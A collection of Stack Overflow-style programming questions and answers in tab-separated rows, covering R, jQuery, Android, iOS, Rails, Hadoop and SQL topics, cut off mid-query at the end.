24981233	0	 <p>9,999,999,999 is more then <code>int32</code> max value (that is 2,147,483,647. <a href="http://msdn.microsoft.com/en-us/library/system.int32.maxvalue(v=vs.110).aspx" rel="nofollow">link</a>)</p> <p>use <code>int64</code> instead (int64 max value is: 9,223,372,036,854,775,807. <a href="http://msdn.microsoft.com/en-us/library/system.int64.maxvalue(v=vs.110).aspx" rel="nofollow">link</a>)</p>
27275397	0	specific stripchart with ggplot2 <p>I've got this dataframe</p> <pre><code>df &lt;- structure(list(rang = c(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25.5, 25.5, 27.5, 27.5, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42.5, 42.5, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54.5, 54.5, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88 ), dr = c(164, 176, 260, 297, 308, 313, 327, 333, 339, 365, 396, 403, 404, 410, 413, 414, 422, 424, 440, 442, 443, 451, 477, 496, 530, 530, 546, 546, 548, 565, 567, 574, 576, 587, 590, 603, 619, 626, 629, 630, 642, 653, 653, 660, 667, 670, 677, 682, 689, 711, 716, 737, 763, 772, 772, 776, 778, 792, 794, 820, 835, 838, 842, 855, 861, 888, 890, 899, 906, 908, 969, 1011, 1046, 1058, 1069, 1072, 1074, 1100, 1153, 1348, 1368, 1432, 1468, 1516, 1612, 1712, 1714, 1731), signe = structure(c(1L, 1L, 1L, 2L, 2L, 2L, 2L, 2L, 1L, 1L, 2L, 2L, 2L, 2L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 2L, 1L, 1L, 1L, 2L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 2L, 1L, 2L, 1L, 1L, 2L, 1L, 1L, 1L, 1L, 2L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 2L, 2L, 1L, 2L, 1L, 1L, 2L, 2L, 2L, 2L, 1L, 2L, 1L, 1L, 1L, 2L, 1L, 1L, 1L, 2L, 1L, 2L, 2L, 2L, 2L, 2L, 2L, 2L, 2L, 1L, 2L, 1L, 2L, 2L), .Label = c("negatif", "positif"), class = "factor")), .Names = c("rang", "dr", "signe"), row.names = c(NA, -88L), class = "data.frame") </code></pre> <p>and this chart when I use the <code>stripchart</code> function in base R </p> <pre><code>stripchart(df[,1]~df[,3], method="stack", vertical=FALSE, ylim=c(0.5,2.5), group.names=levels(df[,3]), xlab="Rang des différences dr", pch=18, cex=1.2) </code></pre> <p>Can I have the same plot with the library <code>ggplot2</code>? I used <code>geom_dotplot</code> but I didn't the same plot. This an example </p> <pre><code>ggplot(data = df, aes(y=df[,1], x=factor(df[,3]))) + geom_dotplot(binaxis = "y", dotsize = 0.5) + coord_cartesian(ylim=c(0, 88)) + scale_y_continuous(breaks=seq(0, 88, 1)) </code></pre> <p>Help me, please!</p>
32257363	0	 <p>You can do it on <code>change</code> event. You can use <strong><a href="http://api.jquery.com/on/" rel="nofollow"><code>on()</code></a></strong> function for binding events.</p> <pre><code>$('yourInputSelector').on('input',function(){ if( $(this).val() == 0 ) $('yourDiv').show(); else $('yourDiv').show(); }); </code></pre>
7215491	0	 <p>As dnndeveloper says, your answer is <code>ObjectContext.CreateObject&lt;T&gt;.</code></p> <p>So you're gonna want - </p> <pre><code> Dim ci = _db.CreateObject(Of CalenderItem)() ci.OrderDetail = _orderDetail ci.Image = c.image ci.YearMonth = c.YearMonth _orderDetail.CalenderItems.Add(ci) </code></pre> <p>or something along those lines. I've run into this issue a couple of times and this has worked so far.</p> <p>HTH</p>
38789234	0	 <p>You can have a List for data and pass the data to viewpager adapter in constructor and in view pager you can pass the data to fragment in getItem() function.</p>
35514929	0	Rounding in R Returning Wrong Value <p>Consider the following code using a modified rounding function:</p> <pre><code>round2 = function(x, n) { posneg = sign(x) z = abs(x)*10^n z = z + 0.5 z = trunc(z) z = z/10^n z*posneg } n&lt;-387.9 d&lt;-400 round2(n/d,4) </code></pre> <p>The function should return 0.9698, but it returns 0.9697. This seems to occur during the trunc function when 9698 gets truncated to 9697. Is there another rounding function I can use (besides the default round function) to make this value correct?</p>
12848334	0	 <pre><code>$("input").click(function() { var dataAttr = $(this).attr("data-logic"); if (dataAttr == "yes") { var value = $(this).attr("value"); alert('Has logic ' + value); } }); </code></pre> <p><a href="http://jsfiddle.net/wCRLE/1/" rel="nofollow">http://jsfiddle.net/wCRLE/1/</a></p>
39493460	0	 <p>Hopefully you can find your answer in this:</p> <p><a href="https://jsfiddle.net/ekekp8rh/1/" rel="nofollow">https://jsfiddle.net/ekekp8rh/1/</a></p> <p>Not sure what you were hoping to get but at least this displays a chart.</p> <pre><code>var data = { projects: [{ name: 'Project X', jobs_running: [ [1459814400000, 121], [1459900800000, 205], [1459987200000, 155], [1460073600000, 458] ], jobs_pending: [ [1459814400000, 146], [1459900800000, 149], [1459987200000, 158], [1460073600000, 184] ] }, { name: 'Project Y', jobs_running: [ [1459814400000, 221], [1459900800000, 295], [1459987200000, 255], [1460073600000, 258] ], jobs_pending: [ [1459814400000, 246], [1459900800000, 249], [1459987200000, 258], [1460073600000, 284] ] }] }; nueva(data); function nueva(current_data) { var seriesOptions = [], type = ['jobs_running', 'jobs_pending']; for (var j = 0; j &lt; current_data['projects'].length; j++) { var project = current_data['projects'][j]; for (var i = 0; i &lt; type.length; i++) { seriesOptions.push({ name: project.name + ' ' + type[i], data: project[type[i]] }); } } $('#containerChart').highcharts('StockChart', { series: seriesOptions }); } </code></pre>
27861200	0	 <p>What you are now doing is getting the <code>context.getAttribute()</code> from the ServletContext itself not from the HttpServletRequest. So it should be something like this: <code>String value = (String) req.getAttribute(token)</code>. Also keep in mind .getAttribute() method returns null if no attribute of the given name exists.</p>
25207200	0	How to set current spinner text without changing associated selection list items <p>I have a Spinner with some values</p> <pre><code>| Monday | | Thuesday | | Wednesday | | Thursday | | Friday | | Saturday | | USER DEFINED | </code></pre> <p>When the user choose <code>USER DEFINED</code> he can input a custom value in a dialog, assuming that I get this value as <code>String userDef="Your choice"</code>.</p> <p>I need to set this String as current item, without change the spinner selection list, that must appear the same described above, also when the user clicks again on the spinner, something like in Google Analytics Android App, see the image.</p> <p><em>unclicked spinner</em> <img src="https://i.stack.imgur.com/Fyswk.jpg" alt="Unclicked spinner Google Analytics"> <em>clicked spinner</em> <img src="https://i.stack.imgur.com/amAxE.jpg" alt="clicked spinner Google Analytics"></p> <p>How could I do this?</p>
22060105	0	 <p>You are using <code>System.out.println("X");</code> This automatically appends a newline character to the end of the string.</p> <p>Instead use <code>System.out.print("X");</code> to print the X's next to each other.</p>
21583536	0	 <p>Use Python's classes for this.</p> <p>A simple example. Let's first define a Point data structure that will hold information about a point in cartesian coordinates:</p> <pre><code>class Point(object): """ Define a point at X, Y """ def __init__(self, x=0, y=0): self.x=x self.y=y </code></pre> <p>Now let's define a circle:</p> <pre><code>class Circle(object): def __init__(self, x=0, y=0, radius=1): """ Define a circle centered at X, Y with radius """ self.x=x self.y=y self.radius=radius </code></pre> <p>Now you can declare an instance of each and test if the point is inside the circle:</p> <pre><code>&gt;&gt;&gt; c1=Circle() # default of x=0, y=0, radius=1 &gt;&gt;&gt; p1=Point(5,6) # a point at x=5, y=6 </code></pre> <p>Is that point inside the circle? You can test it:</p> <pre><code>&gt;&gt;&gt; ((p1.x-c1.x)**2 + (p1.y - c1.y)**2)**0.5&lt;c1.radius False </code></pre> <p>That would be a whole lot easier if we did not have to remember the pythagorian theorem for the circle's center and the point. Let's add that basic functionality to the Circle object:</p> <pre><code>class Circle(object): def __init__(self, x=0, y=0, radius=1): self.x=x self.y=y self.radius=radius def point_in(self, p): return ((p.x-self.x)**2 + (p.y - self.y)**2)**0.5&lt;self.radius </code></pre> <p>Now you can use a more logical method:</p> <pre><code>&gt;&gt;&gt; c1.point_in(Point(5,5)) False &gt;&gt;&gt; c1.point_in(Point(.5,.5)) True </code></pre> <p>So what about 'above' or 'below'? I suppose 'above' would mean if a point is outside the circle and <code>Point.y &gt; Circle.y</code>. Add this to the Circle class:</p> <pre><code>def above(self, p): return ((p.x-self.x)**2 + (p.y - self.y)**2)**0.5 &gt; self.radius and p.y&gt;self.y </code></pre> <p>Test it:</p> <pre><code>&gt;&gt;&gt; c1.above(Point(5,5)) True </code></pre> <p>You can extend this concept so that you can test if a circle overlaps another circle or an area of a polygon defined by Points. You can also extend it so that each shape will use the appropriate formula for itself and the other shape. (How do you know if polygons intersect? Now we are talking more complexity! Start <a href="http://stackoverflow.com/a/218081/298607">HERE</a>. If you have OpenGL, you can draw the two polygons offscreen with two additive colors and test for added pixel colors...)</p> <p>Then extend that to what you mean by 'above' and 'below' for triangles squares, rectangles, circles. Your basic definition of shapes other than a circle will require a rotation or just be defined as polygons by their vertices. </p>
14984488	0	 <p>That is right: no such class exists in the QtGui module of Qt5. And yes, you have to resort to plain OpenGL calls to handle your textures if you don't want to pull in the widget library.</p> <p>That being said, the current (let's say somewhat non-optimal and inconsistent) situation is recognized and actively being discussed by the Qt developers. See Sean Harmer's <a href="http://lists.qt-project.org/pipermail/development/2012-December/008765.html" rel="nofollow">OpenGL in Qt 5.1 and onwards</a> mail, specifically point 7. But following that thread and having a look at the current dev tree, I doubt it is going to land in 5.1.</p> <hr> <p>Edit: Looking at the other answers and the recent comments I'd like to add regarding options you have with standard Qt 5.0:</p> <p>Is your main goal to:</p> <ol> <li>get some pointer you can pass to <code>glTexImage2D(..., GL_UNSIGNED_BYTE, GL_RGBA, pointer)</code> from your potentially 'weird' formatted QImage? or</li> <li>use some helper class that spares you dealing with <code>glTex*()</code> related functions?</li> </ol> <p>If it is the first and linking the (old) OpenGL module (which is part of Qt 5.0) is an option (and apart from 'esthetically' reasons, I don't see why it would not be), you could use the static <code>QGLWidget::convertToGLFormat(QImage)</code> that Victor was hinting at. If not, then doing something like that function does 'by hand' (along the lines of what Xīcò suggested) should work: basically first calling <code>QImage::convertToFormat(QImage::Format_ARGB32)</code> and then add some platform dependent byte swizzeling and mirroring (see <em>convertToGLFormatHelper(...)</em> in <a href="http://qt.gitorious.org/qt/qt/blobs/4.8/src/opengl/qgl.cpp" rel="nofollow">the source</a>). Although, if you happen to use your own shaders, then doing that on the GPU is way faster.</p> <p>If you want to have both <em>and</em> linking the mentioned OpenGL Qt 5.0 add-on module is an option you might be able to actually use a <code>QGLWidget::bindTexture(...)</code> equivalent even in your QQuickView class:</p> <pre><code>GLuint texID = QGLContext::fromOpenGLContext( this-&gt;openglContext())-&gt;bindTexture(...) </code></pre> <p>Where <code>this</code> would be a QQuickView*. See the <a href="http://qt-project.org/doc/qt-5.0/qtopengl/qglcontext.html" rel="nofollow">QGLContext help</a>. (Disclaimer: I have not tried that myself.)</p>
20175868	0	Extracting sub-matrices from a matrix <p>I was wondering: I have a 100x100 matrix. I would like to split it in several 10x10 sub-matrices the first including columns and rows 1-10, then second including columns 11-20 and rows 1-10 and son on until eventually I have a set of 10x10 matrices.</p> <p>Is there any way of doing this without needing to build an extremely complex array of for loops?</p> <p>Thanks :)</p>
12485187	0	Google Docs Folder Not Found <p>We are using Document List API version 3. We use two-legged OAuth and get access using permission obtained through Google Apps Marketplace. We retrieve a list of folders contained in a folder as follows: https://docs.google.com/feeds/default/private/full/folder:[folder doc id]/contents/-/folder?xoauth_requestor_id=[user name]</p> <p>We get 9 results. We retain the document ids of these folders. Later on we retrieve each folder using their document id as follows where [user name] is the same as what we used previously: https://docs.google.com/feeds/default/private/full/[folder doc id]?xoauth_requestor_id=[user name]</p> <p>We are able to get the document (folder) for 8 of the 9 but for one of them we get ResourceNotFoundException no matter when we try and no matter if we retry. We know that the folder still exists and the specified user has access to it.</p> <p>This is similar in nature to the issue that someone else reported recently in: <a href="http://stackoverflow.com/questions/12448323/document-not-found">Document not found</a></p> <p>Is this likely to be a google bug? Any suggestions of how to resolve it other than moving to Google Drive API?</p> <p>Regards, LT</p>
6315543	0	Build cpp application <p>I have a list of files (cpp, h, and also child-folders inside with cpp/h too).</p> <p>I'm not sure how to build it correctly because it doesn't have any makefile or smth like that (pure c++-files). So I decided to "catch" the right <code>gcc</code> arguments to build it.</p> <pre><code>g++ *.cpp `wx-config --libs` `wx-config --cxxflags` -lGL -lglut -lfkr-skeletal2d </code></pre> <p>Now I have that line. Here is the list of files:</p> <pre><code>$ ls -p AnimationEditor/ Core-Code/ GLRender.cpp GLSprite.cpp Icons/ LGPLv3.txt MainWindow.h PlayBar.h PopUp.h TimeLine.h BoneEditor/ daten/ GLRender.h GLSprite.h LGPLv3_de.txt MainWindow.cpp PlayBar.cpp PopUp.cpp TimeLine.cpp wxWidgets_Addons/ </code></pre> <p>There is files in directory <code>Core-Code</code>:</p> <pre><code>AnimationManager.cpp AnimationManager.h SkeletalManager.cpp SkeletalManager.h TextureManager.cpp TextureManager.h </code></pre> <p>When I use that gcc-line I get a lot of linker errors:</p> <pre><code>undefined reference to `CSkeletalManager::*** undefined reference to `CAnimationManager::*** </code></pre> <p>Maybe, I have to specify somehow the files from <code>Core-Code</code>. I can't understand the problem.</p>
12066738	0	SpreadsheetEntry.getKey() returns a key preceded by 'spreadsheet%3A' <p>I use Google Spreadsheet API to copy a document from one account to another and then I want to return the key for the newly created spreadsheet.</p> <p>The copying is done by retrieving the template spreadsheet, creating a new one with <code>SpreadsheetEntry newDoc = new SpreadsheetEntry();</code> then setting the <code>id</code> of the new one to the template spreadsheet <code>newDoc.setId(template.getId());</code>. Then I insert the new spreadsheet</p> <p><code>newDoc = service.insert(new URL("https://docs.google.com/feeds/default/private/full"), newDoc);</code></p> <p>I want to return to the caller two things: link to the newly created spreadsheet and its key. I get the first through <code>newDoc.getSpreadsheetLink().getHref();</code> and it returns <code>https://docs.google.com/a/bridgeworks.nl/spreadsheet/ccc?key=0Asl_Vu_YG4J-dDc5NHpwTFVRZFNiVENnRUxOb21XLVE</code></p> <p>Then I call <code>newDoc.getKey();</code> and it returns <code>spreadsheet%3A0Asl_Vu_YG4J-dDc5NHpwTFVRZFNiVENnRUxOb21XLVE</code></p> <p>The key seems to be preceded by <code>spreadsheet%3A</code>. But why? Can I safely remove it and return just the key?</p> <p>If I use</p> <p><code>URL worksheetUrl = urlFactory.getWorksheetFeedUrl("0Asl_Vu_YG4J-dDc5NHpwTFVRZFNiVENnRUxOb21XLVE", "private", "full");</code></p> <p>it succeeds but</p> <p><code>URL worksheetUrl = urlFactory.getWorksheetFeedUrl("spreadsheet%3A0Asl_Vu_YG4J-dDc5NHpwTFVRZFNiVENnRUxOb21XLVE", "private", "full");</code></p> <p>fails</p>
3288407	0	 <p>I've had some situations where a client had a very stubborn proxy server on their network that refused to give you a newer version of the file. We ended up having to rename the css and js files for every release :(</p>
29284415	0	 <p>You should handle this in the global.asax (HttpApplication class file) - specifically like so:</p> <p>c#</p> <pre><code>void Application_OnAuthenticateRequest(Object Source, EventArgs Details) { // Authentication code goes here. //if fail, Response.Redirect('NotAuthenticated.htm'); //or like so. } </code></pre> <p>VB</p> <pre><code> Sub Application_OnAuthenticateRequest(Source As Object, Details as EventArgs) 'Authentication code goes here. End Sub </code></pre>
2889797	0	Trouble getting started with Spring Roo and GWT <p>I am trying to get started with SpringRoo and GWT after seeing the keynote... unfortunately I am stuck at this issue. I successfully created the project using Roo and added the persistence, the entities and when I perform the command "perform package" I get this error:</p> <pre> 23/5/10 12:10:13 AM AST: [ERROR] ApplicationEntityTypesProcessor cannot be resolved 23/5/10 12:10:13 AM AST: [ERROR] ApplicationEntityTypesProcessor cannot be resolved to a type 23/5/10 12:10:13 AM AST: [WARN] advice defined in org.springframework.mock.staticmock.AnnotationDrivenStaticEntityMockingControl has not been applied [Xlint:adviceDidNotMatch] 23/5/10 12:10:13 AM AST: [WARN] advice defined in org.springframework.mock.staticmock.AbstractMethodMockingControl has not been applied [Xlint:adviceDidNotMatch] 23/5/10 12:10:13 AM AST: Build errors for helloroo; org.apache.maven.lifecycle.LifecycleExecutionException: Failed to execute goal org.codehaus.mojo:aspectj-maven-plugin:1.0:compile (default) on project helloroo: Compiler errors : error at import tp.gwt.request.ApplicationEntityTypesProcessor; </pre> <p>I see this in the Maven console and can't complete the build... I know there is some jar missing but how and why? Because I downloaded all the latest version including GWT milestone release. Any idea why this error is occurring? How do I resolve this issue?</p>
19647288	0	 <p>Assuming that <code>tbl_b.col_ba</code> is a primary key (or just unique field) simple <code>JOIN</code> should help. Try this SQL:</p> <pre><code>SELECT col_aa, col_ab FROM tbl_a JOIN ( SELECT col_ba FROM tbl_b WHERE col_bb IN ( SELECT col_ca FROM tbl_c WHERE col_cb = 1 ) ) T2 ON (col_ac = T2.col_ba AND col_ad = T2.col_ba) </code></pre> <p>Hope it will help</p>
33960649	0	 <p>Looks like you need conversion from JSON to hash. (See <a href="http://apidock.com/rails/Hash/to_json" rel="nofollow">DOCS</a>). But, when you do <code>to_s</code> the output is not in pure JSON format. So, you may see I'm using <code>gsub</code> to replace <code>=&gt;</code> with <code>:</code></p> <pre><code>require 'json' hash = {"description" =&gt; "test"} =&gt; {"description"=&gt;"test"} str = hash.to_s.gsub("=&gt;", ":") =&gt; "{\"description\":\"test\"}" JSON.parse(str) =&gt; {"description"=&gt;"test"} </code></pre>
32076909	0	Random lines in map (bug?) with ggmap - how to get rid of them? <p>I use ggmap (2.4) in R (RStudio 0.98) and I have a map of Myanmar with political borders in which I am plotting some linguistic information. Unfortunately the borders are displayed along with a few random lines in the same color that should not be there. One is straight in the north part, two others are further down in the south and extend into the ocean. I marked them with 2 red arrows.</p> <p>Here's my source code:</p> <pre><code>library(ggmap) burma &lt;- get_map(location=c(lon=96, lat=20), maptype='satellite', color='color', zoom=5) burma.map &lt;- ggmap(burma, darken=c(.33, 'white')) + coord_map(xlim=c(92,102), ylim=c(29,10)) + borders(database="world", colour="yellow") burma.map </code></pre> <p>The outcome is this: <a href="http://imgur.com/MgHG76g" rel="nofollow" title="Sorry, I don&#39;t have enough credits to post the picture directly.">Myanmar map with borderline syndrom</a></p> <p>Looks like a bug in the vectors for the country borders.</p>
11083650	0	 <p>Convert the file into <a href="http://json.org/example.html" rel="nofollow">JSON data</a> for easy access -- the data shouldn't change very often, so this shouldn't be a problem. You can then load this via <a href="http://api.jquery.com/jQuery.getJSON/" rel="nofollow">AJAX</a>:</p> <pre><code>$.getJSON('ajax/cities.json', function(data) { var $opt = $("&lt;option&gt;") .attr("value",data.city) .text(data.state); $('#state').append($opt); }); </code></pre> <p>...or something like that.</p>
18668977	0	Ruby Geocoder [Rails] - How to Traverse this Result <p>I just installed <a href="http://www.rubygeocoder.com" rel="nofollow" title="Ruby Geocoder">Ruby Geocoder</a> and I am trying to traverse the <code>Geocoder::Result</code>, but keep coming up short. I am in rails console, and have used the following:</p> <p><code>s = Geocoder.search("90210")</code></p> <p>Which returns the following:</p> <p><code>[#&lt;Geocoder::Result::Google:0x007ff295579ad8 @data={"address_components"=&gt;[{"long_name"=&gt;"90210", "short_name"=&gt;"90210", "types"=&gt;["postal_code"]}, {"long_name"=&gt;"Beverly Hills", "short_name"=&gt;"Beverly Hills", "types"=&gt;["locality", "political"]}, {"long_name"=&gt;"Los Angeles", "short_name"=&gt;"Los Angeles", "types"=&gt;["administrative_area_level_2", "political"]}, {"long_name"=&gt;"California", "short_name"=&gt;"CA", "types"=&gt;["administrative_area_level_1", "political"]}, {"long_name"=&gt;"United States", "short_name"=&gt;"US", "types"=&gt;["country", "political"]}], "formatted_address"=&gt;"Beverly Hills, CA 90210, USA", "geometry"=&gt;{"bounds"=&gt;{"northeast"=&gt;{"lat"=&gt;34.1354771, "lng"=&gt;-118.3867129}, "southwest"=&gt;{"lat"=&gt;34.065094, "lng"=&gt;-118.4423781}}, "location"=&gt;{"lat"=&gt;34.1030032, "lng"=&gt;-118.4104684}, "location_type"=&gt;"APPROXIMATE", "viewport"=&gt;{"northeast"=&gt;{"lat"=&gt;34.1354771, "lng"=&gt;-118.3867129}, "southwest"=&gt;{"lat"=&gt;34.065094, "lng"=&gt;-118.4423781}}}, "types"=&gt;["postal_code"]}, @cache_hit=nil&gt;]</code></p> <p>How can I access a specific part of the Result? I have tried the following:</p> <p><code>s.result.city</code>, <code>result.city</code>, <code>s.data</code>?? But none of these work. Any ideas would be great.</p> <p>Thanks!</p>
40348553	0	 <p>Another option, that might be more flexible for future needs, is to use <code>dplyr</code>. This requires the data to be in a data.frame, but it sounds like that is what you have anyway.</p> <pre><code>df &lt;- data.frame(g, mat) df %&gt;% group_by(g) %&gt;% summarise_all(mean) </code></pre> <p>It groups by the <code>g</code> column, then takes a mean of all of the remaining columns. It returns:</p> <pre><code> g X1 X2 X3 1 a 1.5 7.5 13.5 2 b 3.5 9.5 15.5 3 c 5.5 11.5 17.5 </code></pre> <p>Which I believe is your desired outcome. If combined with <code>tidyr</code>, it may also make it easier to use/access those means by putting them in a long format</p> <pre><code>df %&gt;% gather(Measurement, Value, -g) %&gt;% group_by(g, Measurement) %&gt;% summarise(mean = mean(Value)) </code></pre> <p>returning:</p> <pre><code> g Measurement mean 1 a X1 1.5 2 a X2 7.5 3 a X3 13.5 4 b X1 3.5 5 b X2 9.5 6 b X3 15.5 7 c X1 5.5 8 c X2 11.5 9 c X3 17.5 </code></pre>
17886213	0	Capturing Enter key on Android's onKeyDown <p>I'm making a remote app that requires a keyboard. I'm not using an EditText, I am forcing it to invoke pragmatically.</p> <p>In the activity, I have a semi intelligent <code>onKeyDown</code> code that translates the android keycode into the ascii code processable by my server and sends it:</p> <pre><code>@Override public boolean onKeyDown(int keyCode, KeyEvent event) { int asciiKey = -1; if (keyCode &gt;= KeyEvent.KEYCODE_A &amp;&amp; keyCode &lt;= KeyEvent.KEYCODE_Z) { asciiKey = keyCode - KeyEvent.KEYCODE_A + 'A'; } else if (keyCode==KeyEvent.KEYCODE_DEL) { asciiKey = 8; } else if (keyCode==KeyEvent.KEYCODE_ENTER) { asciiKey = 13; } else { asciiKey = event.getUnicodeChar(event.getMetaState()); } out.println("k "+asciiKey); return super.onKeyDown(keyCode, event); } </code></pre> <p>But when I press the <kbd>Enter</kbd> key, it's not sending (I've tried the Jelly Bean Default and Hacker's Keyboard). Not even a "-1". The method isn't even being called. It works for most other keys (Numbers, Letters, Backspace, Some Symbols) so it's not the app itself.</p> <p>The code that invokes the keyboard and hides it later:</p> <pre><code>InputMethodManager imm = (InputMethodManager) activity.getSystemService(Context.INPUT_METHOD_SERVICE); imm.toggleSoftInput(InputMethodManager.SHOW_FORCED, 0); </code></pre> <p>Is there something I'm missing? Also, is there a better way to translate Android keycodes into Ascii keys (specifically replicatable by <code>java.awt.Robot</code>).</p> <p>Thanks for any help in advance.</p>
18952554	0	 <p>Download SMTP server, run the server before you click submit.</p>
3466348	0	 <p>If you want to catch memory allocation errors (which you probably should) then you'll have to make the call to new in the body of the constructor.</p>
39862896	0	 <p>It seems you want the behavior of</p> <pre class="lang-css prettyprint-override"><code>word-break: break-word; </code></pre> <p>It is a non-standard property supported by Chrome which behaves almost like <code>word-wrap: break-word</code>. However, when <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=492202" rel="nofollow">they tried to remove it</a>, they noticed</p> <blockquote> <p>In some cases (tables and <code>display: table;</code> layouts) the <code>word-break: break-word</code> behavior is different from <code>word-wrap: break-word;</code> and the former works as expected.</p> </blockquote> <p>The CSS WG <a href="https://lists.w3.org/Archives/Public/www-style/2016Mar/0352.html" rel="nofollow">resolved</a> to</p> <blockquote> <p>Add <code>word-break: break-word</code> to spec if Edge/Firefox find it critical enough to Web compat to implement it.</p> </blockquote> <p>So it may become standard.</p> <hr> <p>But currently, if you want to prevent table cells from being at least as wide as the longest word, and still avoid breaking inside words when it's not necessary, you can use</p> <pre class="lang-css prettyprint-override"><code>table-layout: fixed; </code></pre> <p>Note this will get rid of some special table behaviors, e.g. all columns will be equally wide even if their contents could fit better in other arrangements.</p>
10214852	0	What is the most correct way to add a UIViewController to a subview and remove it? <p>I'm trying to add a UIViewController subview, and then upon clicking a button close it. My current code does the job, I'm just not sure if it will leak or cause any problems.</p> <p>So first I add the subview</p> <pre><code>-(IBAction)openNewView:(id)sender{ // start animation [UIView beginAnimations:@"CurlUp" context:nil]; [UIView setAnimationDuration:.3]; [UIView setAnimationCurve:UIViewAnimationCurveEaseInOut]; [UIView setAnimationTransition:UIViewAnimationTransitionCurlUp forView:self.view cache:YES]; // add the view newViewController* newVC = [[newViewController alloc] initWithNibName:@"newViewController" bundle:[NSBundle mainBundle]]; [self.view addSubview:newVC.view]; [UIView commitAnimations]; } </code></pre> <p>Then in newViewController.m I have the function to remove it</p> <pre><code>-(IBAction)closeNewView:(id)sender{ // start animation [UIView beginAnimations:@"curldown" context:nil]; [UIView setAnimationDelegate:self]; [UIView setAnimationDuration:.3]; [UIView setAnimationCurve:UIViewAnimationCurveEaseInOut]; [UIView setAnimationTransition:UIViewAnimationTransitionCurlDown forView:self.view.superview cache:YES]; // close dialog [self.view removeFromSuperview]; [UIView commitAnimations]; [self.view release]; } </code></pre> <p>Like I said this works, however when I Analyze the code, it tells me:</p> <p>Potential leak of an object allocated on line X and stored into 'newViewController' for:</p> <pre><code>newViewController* newVC = [[newViewController alloc] initWithNibName:@"newViewController" bundle:[NSBundle mainBundle]]; </code></pre> <p>and</p> <p>Incorrect decrement of the reference count of an object that is not owned at this point by the caller for <code>[self.view release];</code></p> <p>If I <code>autorelease</code> the viewController instead of <code>[self.view release]</code> it crashes upon removing (also if I release the view after adding it) with: -[FirstViewController performSelector:withObject:withObject:]: message sent to deallocated instance 0xd21c7e0</p> <p>If I call <code>[newVC release]</code> in either viewControllers <code>dealloc</code> it fails to build.</p> <p>Hopefully I'm not asking a fairly obvious question, but what is the correct way to add and remove viewControllers?</p>
7507794	0	 <p>You could set Firebug to <em>persist</em> the console so you can see errors on reload.</p> <p><img src="https://i.stack.imgur.com/OyFg0.png" alt="Firebug"></p>
31909576	0	 <p>You will have to <code>ksort()</code> your params before you pass them here:</p> <pre><code>foreach(array_keys($params) as $key) { $url_parts[] = $key . "=" . str_replace('%7E', '~', rawurlencode($params[$key])); } </code></pre> <p>e.g.</p> <pre><code>$params = array( 'AWSAccessKeyId' =&gt; "MY_AWS_KEY", 'Action' =&gt; "SubmitFeed", 'SellerId' =&gt; "MY_SELLER_ID", 'FeedType' =&gt; "_POST_PRODUCT_DATA_", 'SignatureMethod' =&gt; "HmacSHA256", 'SignatureVersion' =&gt; "2", 'Timestamp'=&gt; $timestamp, 'Version'=&gt; "2009-01-01", 'MarketplaceIdList.Id.1' =&gt; "MY_MARKETPLACE_ID", 'PurgeAndReplace'=&gt;'false' ); $secret = 'MY_SECRET_KEY'; $url_parts = array(); ksort($params); foreach(array_keys($params) as $key) { $url_parts[] = $key . "=" . str_replace('%7E', '~', rawurlencode($params[$key])); } </code></pre> <p>I'm not entirely sure about the string you are signing, you should try it with this (adding /Feeds/2009-01-01 to it):</p> <pre><code>"POST\nmws-eu.amazonservices.com\n/Feeds/2009-01-01\n" . $url_string </code></pre> <p>Also, Amazon expects a <code>SellerId</code> for the <code>_POST_PRODUCT_DATA_</code> operation, not <code>Merchant</code>.</p> <p>I suggest you to use mws-eu-amazonservices.com instead of the co.uk one, you can use this for all the european marketplaces and don't need to change it for each. As a sidenote:</p> <p>Amazon doesn't really report the correct error. The error you are getting can also occur if only SellerId is Merchant like above, or anything different that has nothing to do with what you are trying to do. </p>
30035009	0	 <p>I was searching for that same problem and i find this on github</p> <p><a href="https://github.com/DWorkS/AStickyHeader/issues/12" rel="nofollow">https://github.com/DWorkS/AStickyHeader/issues/12</a></p> <p>And this solved my problem.</p> <p>All this says is to rename the package name on the <code>AndroidManifast.xml</code> file. And its done.</p>
19636219	0	 <p>There is a fairly easy solution to the System.exit problem. Where you had: </p> <pre><code> System.out.println("the size of Hashmap is: " + jobCountMap.size()); System.exit(job.waitForCompletion(true) ? 0 : 1); </code></pre> <p>Instead place the following: </p> <pre><code>System.out.println("the size of Hashmap is: " + jobCountMap.size()); boolean completionStatus = job.waitForCompletion(true); //your code here if(completionStatus==true){ System.exit(0) }else{ System.exit(1) } </code></pre> <p>This should allow you to run any processing you want within your main function, including starting a second job if you want.</p>
1899843	0	Is there a nosql store that also allows for relationships between stored entities? <p>I am looking for nosql key value stores that also provide for storing/maintaining relationships between stored entities. I know Google App Engine's datastore allows for owned and unowned relationships between entities. Does any of the popular nosql store's provide something similar? </p> <p>Even though most of them are schema less, are there methods to appropriate relationships onto a key value store? </p>
14618937	0	How do I join multiple result sets from a WHILE loop in a mySQL query? <p>This is the problem that I currently have. </p> <p>I have 7 tables of trip data. What I am currently doing is selecting at random, a Card_ID from the third table, then searching through all 7 tables with that Card_ID and selecting all record made by that particular Card_ID.</p> <p>The problem is that many result sets are generated, and this presents problems since I will have to manually export them one by one. Is there anyway to 'automate' this process by combining about like 2000 WHILE loops of records into one result set?</p> <p>Thanks in advance.</p> <pre><code>BEGIN DECLARE counter INT; DECLARE random INT; DECLARE cardid VARCHAR(20); SET counter = 1; WHILE counter &lt; 801 DO SET random = FLOOR(1 + (RAND() * 5451696)); SET cardid = (SELECT CARD_ID FROM trips13042011 WHERE TripID = random); SELECT * FROM trips11042011 WHERE CARD_ID=cardid UNION ALL SELECT * FROM trips12042011 WHERE CARD_ID=cardid UNION ALL SELECT * FROM trips13042011 WHERE CARD_ID=cardid UNION ALL SELECT * FROM trips14042011 WHERE CARD_ID=cardid UNION ALL SELECT * FROM trips15042011 WHERE CARD_ID=cardid UNION ALL SELECT * FROM trips16042011 